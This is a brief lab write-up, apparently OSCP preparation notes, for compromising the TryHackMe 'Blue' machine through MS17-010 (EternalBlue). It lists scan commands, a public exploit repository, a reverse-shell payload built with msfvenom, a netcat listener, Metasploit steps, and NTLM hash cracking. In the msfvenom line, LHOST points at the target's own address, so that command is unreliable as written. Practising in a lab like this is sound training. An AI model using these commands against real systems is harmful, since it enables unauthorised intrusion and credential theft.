OSCP Preparation TryHackMe 02: Blue

Notification: This is not a technical step-by-step guide. 

Summary

a. Initial Access

    N/A

b. User Access

        N/A

c. Root Access

    smb-vuln-ms17-010

Tips

a. nmap vuln scan can be helpful

b. MSF command "hashdump" can get hash file

c. use John and hashcat to crack the NTLM hash file

Procedure

1. Port Scan

    Nmap

    $nmap -A -p- -T4 10.10.101.135

    $nmap -Pn -n -sV --script vuln -oN vuln.txt 10.10.101.135

2. Exploit

    Python Script

     Get Exploit from Github

$git clone https://github.com/helviojunior/MS17-010.git

Generate the shell

        $msfvenom -p windows/shell_reverse_tcp LHOST=10.10.101.135 LPORT=8888 -f exe >                shell.exe

        Run Netcat

$nc -nlvp 8888

Exploit

        $python send_and_execute.py 10.10.101.135 shell.exe

    MSF

        >use exploit/windows/smb/ms17_010_eternalblue

        >show options

        >set RHOSTS 10.10.101.135 

        >set LHOST tun0

        >run

3. Crask the NTLM Hash

    John

    $john --format:NT --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

    

    Hashcat

    $hashcat -a 0 -m 1000 hashforcrack.txt rockyou.txt --force